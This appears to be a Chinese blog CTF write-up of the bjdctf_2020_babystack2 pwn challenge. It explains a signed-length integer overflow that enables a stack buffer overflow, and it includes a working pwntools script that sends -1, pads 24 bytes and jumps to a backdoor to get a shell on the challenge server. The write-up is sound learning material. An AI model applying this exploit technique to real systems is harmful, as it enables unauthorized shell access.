当前位置:网站首页>【CTF】bjdctf_2020_babystack2
【CTF】bjdctf_2020_babystack2
2022-07-02 00:16:00 【delta_hell】
题目分析
反编译,查找漏洞
main函数:
undefined8 main(void)
{
undefined local_18 [12];
uint local_c;
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,1,0);
local_c = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let\'s try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf(&DAT_004009c1,&local_c);
if (10 < (int)local_c) {
puts("Oops,u name is too long!");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("[+]What\'s u name?");
read(0,local_18,(ulong)local_c);
return 0;
}
backdoor函数:
undefined8 backdoor(void)
{
system("/bin/sh");
return 1;
}
题目意思很明显了,后门函数已经提供了,只要能跳过去就行了。
再看main函数,read函数很明显就是个利用点,利用变量local_c就可以制造溢出。
当然,不会这么简单,前面有长度限制的判断
if (10 < (int)local_c)
不过,这个也简单,对不对?整型溢出啊,整一个负数,直接就成了啊~~~
事实证明,思路完全正确,但是过程太曲折,简单描述下:
本机溢出会失败,在ubuntu上,输入-1,read时会直接返回;在windows上实验,输入-1,read会弹出窗,提示
buf len < INT_MAX条件不满足,这下很明显了,read有输入限制。又研究了很久,发现无解,因为要过长度限制,
必须使用负数,否则不能溢出,而即使INT_MIN,转换为无符号数,仍为2147483648,还是> INT_MAX;一时间
搞的我怀疑人生。
解题思路
思路就是上面题目分析的过程,完全正确,直接拿靶机验证是OK的,-1能过长度限制,同时read不报错(欲哭无泪)
from pwn import *
sh = connect("node4.buuoj.cn",27462)
sh.recvuntil("name:\n")
print("recv name length")
sh.sendline('-1'.encode())
print("send name length")
sh.recvline()
pad = 'A'*24
payload = pad.encode() + p64(0x00400726)
sh.sendline(payload)
sh.interactive()
没法本地验证导致的后果,就是溢出长度是猜出来的。
总结
思路没毛病的时候,及时测靶机。不过调一调本机还是有意思的,虽然没找到最终结果,比如ubuntu上,写了一个测试demo,去掉长度验证,结果read只要不大于3652就没问题,超过时errno就会报Bad address,跟windows上还不一样,但是3652这个值感觉没有任何意义,又怀疑人生了~~~下班了不纠结了,后面有调glibc的机会时候再看看。
边栏推荐
- 【QT】测试Qt是否能连接上数据库
- Shell process control
- Kubernetes resource object introduction and common commands (III)
- PHP reads ini or env type configuration
- 多表操作-一对一,一对多与多对多
- 在证券账户上买基金安全吗?哪里可以买基金
- Soft exam information system project manager_ Compiled abbreviations of the top ten management processes to help memory recitation - -- software test advanced information system project manager 054
- SQL Server 安裝指南
- 攻防演练复盘
- 4. Object mapping Mapstercover
猜你喜欢
随机推荐
cookie、session、tooken
How to solve the image pop-up problem when pycharm calls Matplotlib to draw
leetcode96不同的二叉搜索樹
Why does blocprovider feel similar to provider?
ADO. Net SqlDataAdapter object
Is it safe to choose mobile phone for stock trading account opening in Beijing?
Jielizhi, production line assembly link [chapter]
启牛学院开户安全的吗?开户怎么开?
Talents come from afar, and Wangcheng district has consolidated the intellectual base of "strengthening the provincial capital"
Example explanation: move graph explorer to jupyterlab
[es practice] safe operation mode on ES
基于全志H3的QT5.12.9移植教程
【QT】QtCreator卸载与安装(非正常状态)
正则表达式收集
LDR6035智能蓝牙音响可对手机设备持续充放电方案
Huawei HMS core joins hands with hypergraph to inject new momentum into 3D GIS
Vue force cleaning browser cache
EMC circuit protection device for surge and impulse current protection
Using SqlCommand objects in code
How to improve data quality